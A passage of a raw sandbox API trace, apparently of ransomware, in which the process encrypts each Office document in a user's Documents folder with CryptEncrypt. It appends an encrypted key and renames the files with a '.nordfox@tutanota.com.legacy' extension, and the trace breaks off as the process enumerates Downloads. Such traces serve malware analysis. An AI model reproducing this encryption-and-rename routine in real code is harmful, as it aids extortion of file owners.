lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xf685, lpOverlapped=0x0) returned 1 [0112.414] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-63109, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.414] WriteFile (in: hFile=0x5e8, lpBuffer=0x5f9260*, nNumberOfBytesToWrite=0xf685, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f9260*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf685, lpOverlapped=0x0) returned 1 [0112.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f9260 | out: hHeap=0x520000) returned 1 [0112.416] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf685 [0112.416] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.416] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.417] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.417] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.417] CloseHandle (hObject=0x5e8) returned 1 [0112.418] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0112.418] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0112.418] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\8-TXyjtTI.xls" (normalized: "c:\\users\\fd1hvy\\documents\\8-txyjtti.xls"), lpNewFileName="\\Users\\FD1HVy\\Documents\\8-TXyjtTI.xls.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\8-txyjtti.xls.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.419] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563960 | out: hHeap=0x520000) returned 1 [0112.419] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0112.419] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0112.420] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0112.420] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0112.420] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0112.420] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0112.420] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0112.420] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\79YHVBsUW0MEH.ods", dwFileAttributes=0x80) returned 1 [0112.420] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0112.420] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7958 [0112.420] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0112.420] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\79YHVBsUW0MEH.ods" (normalized: "c:\\users\\fd1hvy\\documents\\79yhvbsuw0meh.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.421] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=47143) returned 1 [0112.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb827) returned 0x5e9bd0 [0112.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb827) returned 0x5f5400 [0112.421] ReadFile (in: hFile=0x5e8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xb827, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xb827, lpOverlapped=0x0) returned 1 [0112.428] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-47143, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.429] WriteFile (in: hFile=0x5e8, lpBuffer=0x5f5400*, nNumberOfBytesToWrite=0xb827, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f5400*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb827, lpOverlapped=0x0) returned 1 [0112.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f5400 | out: hHeap=0x520000) returned 1 [0112.430] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb827 [0112.430] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.430] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.431] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.432] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.432] CloseHandle (hObject=0x5e8) returned 1 [0112.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0112.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0112.432] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\79YHVBsUW0MEH.ods" (normalized: "c:\\users\\fd1hvy\\documents\\79yhvbsuw0meh.ods"), lpNewFileName="\\Users\\FD1HVy\\Documents\\79YHVBsUW0MEH.ods.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\79yhvbsuw0meh.ods.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7958 | out: hHeap=0x520000) returned 1 [0112.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0112.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0112.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0112.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4320 [0112.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0112.434] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4320 | out: pbBuffer=0x5c4320) returned 1 [0112.434] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0112.434] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\5epuqLEFpFsvZGh.docx", dwFileAttributes=0x80) returned 1 [0112.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0112.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e82b0 [0112.435] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0112.435] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\5epuqLEFpFsvZGh.docx" (normalized: "c:\\users\\fd1hvy\\documents\\5epuqlefpfsvzgh.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.435] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=21679) returned 1 [0112.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x54af) returned 0x5e9bd0 [0112.436] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x54af) returned 0x5ef088 [0112.436] ReadFile (in: hFile=0x5e8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x54af, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x54af, lpOverlapped=0x0) returned 1 [0112.437] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-21679, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.437] WriteFile (in: hFile=0x5e8, lpBuffer=0x5ef088*, nNumberOfBytesToWrite=0x54af, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5ef088*, lpNumberOfBytesWritten=0x2e1f9bc*=0x54af, lpOverlapped=0x0) returned 1 [0112.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5ef088 | out: hHeap=0x520000) returned 1 [0112.437] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x54af [0112.438] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.438] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4320*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4320*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.438] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c4320*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4320*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.438] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.438] CloseHandle (hObject=0x5e8) returned 1 [0112.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4320 | out: hHeap=0x520000) returned 1 [0112.439] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0112.439] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\5epuqLEFpFsvZGh.docx" (normalized: "c:\\users\\fd1hvy\\documents\\5epuqlefpfsvzgh.docx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\5epuqLEFpFsvZGh.docx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\5epuqlefpfsvzgh.docx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.440] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e82b0 | out: hHeap=0x520000) returned 1 [0112.440] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0112.440] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0112.441] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5677d8 [0112.441] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5298 [0112.441] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3458 [0112.441] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0112.441] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0112.441] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\5DypQ48ZRakwHGc9-kT.pptx", dwFileAttributes=0x80) returned 1 [0112.441] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567a30 [0112.441] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8bd8 [0112.441] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567a30 | out: hHeap=0x520000) returned 1 [0112.441] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\5DypQ48ZRakwHGc9-kT.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\5dypq48zrakwhgc9-kt.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.442] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3099) returned 1 [0112.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc1b) returned 0x5e9bd0 [0112.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc1b) returned 0x5ea7f8 [0112.442] ReadFile (in: hFile=0x5e8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xc1b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xc1b, lpOverlapped=0x0) returned 1 [0112.443] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-3099, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.443] WriteFile (in: hFile=0x5e8, lpBuffer=0x5ea7f8*, nNumberOfBytesToWrite=0xc1b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5ea7f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc1b, lpOverlapped=0x0) returned 1 [0112.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x520000) returned 1 [0112.443] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc1b [0112.443] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.443] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.444] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.444] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.444] CloseHandle (hObject=0x5e8) returned 1 [0112.444] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5298 | out: hHeap=0x520000) returned 1 [0112.444] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3458 | out: hHeap=0x520000) returned 1 [0112.444] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\5DypQ48ZRakwHGc9-kT.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\5dypq48zrakwhgc9-kt.pptx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\5DypQ48ZRakwHGc9-kT.pptx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\5dypq48zrakwhgc9-kt.pptx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8bd8 | out: hHeap=0x520000) returned 1 [0112.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5677d8 | out: hHeap=0x520000) returned 1 [0112.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5673a0 | out: hHeap=0x520000) returned 1 [0112.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0112.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0112.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0112.446] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0112.446] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0112.446] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\4IGX1pA.pptx", dwFileAttributes=0x80) returned 1 [0112.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0112.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563a08 [0112.447] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0112.447] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\4IGX1pA.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\4igx1pa.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.447] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=47317) returned 1 [0112.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb8d5) returned 0x5e9bd0 [0112.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb8d5) returned 0x5f54b0 [0112.450] ReadFile (in: hFile=0x5e8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xb8d5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xb8d5, lpOverlapped=0x0) returned 1 [0112.452] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-47317, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.452] WriteFile (in: hFile=0x5e8, lpBuffer=0x5f54b0*, nNumberOfBytesToWrite=0xb8d5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f54b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb8d5, lpOverlapped=0x0) returned 1 [0112.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f54b0 | out: hHeap=0x520000) returned 1 [0112.454] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb8d5 [0112.454] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.454] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.455] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.455] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.455] CloseHandle (hObject=0x5e8) returned 1 [0112.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0112.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0112.456] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\4IGX1pA.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\4igx1pa.pptx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\4IGX1pA.pptx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\4igx1pa.pptx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.458] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563a08 | out: hHeap=0x520000) returned 1 [0112.458] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0112.458] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0112.458] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.459] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0112.459] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f90 | out: hHeap=0x520000) returned 1 [0112.459] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1b8 | out: hHeap=0x520000) returned 1 [0112.459] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Downloads\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd2049dfb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c58d8 [0112.459] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0112.459] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0112.459] GetLastError () returned 0x0 [0112.459] SetLastError (dwErrCode=0x0) [0112.459] GetLastError () returned 0x0 [0112.459] SetLastError (dwErrCode=0x0) [0112.459] GetLastError () returned 0x0 [0112.459] SetLastError (dwErrCode=0x0) [0112.459] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0112.460] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0112.460] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0112.460] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1b8 [0112.460] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5918 [0112.460] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5918 | out: hHeap=0x520000) returned 1 [0112.460] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20348 [0112.460] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20348 | out: hHeap=0x520000) returned 1 [0112.460] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1b8 | out: hHeap=0x520000) returned 1 [0112.460] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0112.460] FindNextFileW (in: hFindFile=0x5c58d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd2049dfb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0112.460] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0112.460] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0112.460] GetLastError () returned 0x0 [0112.460] SetLastError (dwErrCode=0x0) [0112.460] GetLastError () returned 0x0 [0112.461] SetLastError (dwErrCode=0x0) [0112.461] GetLastError () returned 0x0 [0112.461] SetLastError (dwErrCode=0x0) [0112.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567268 [0112.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0112.461] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: 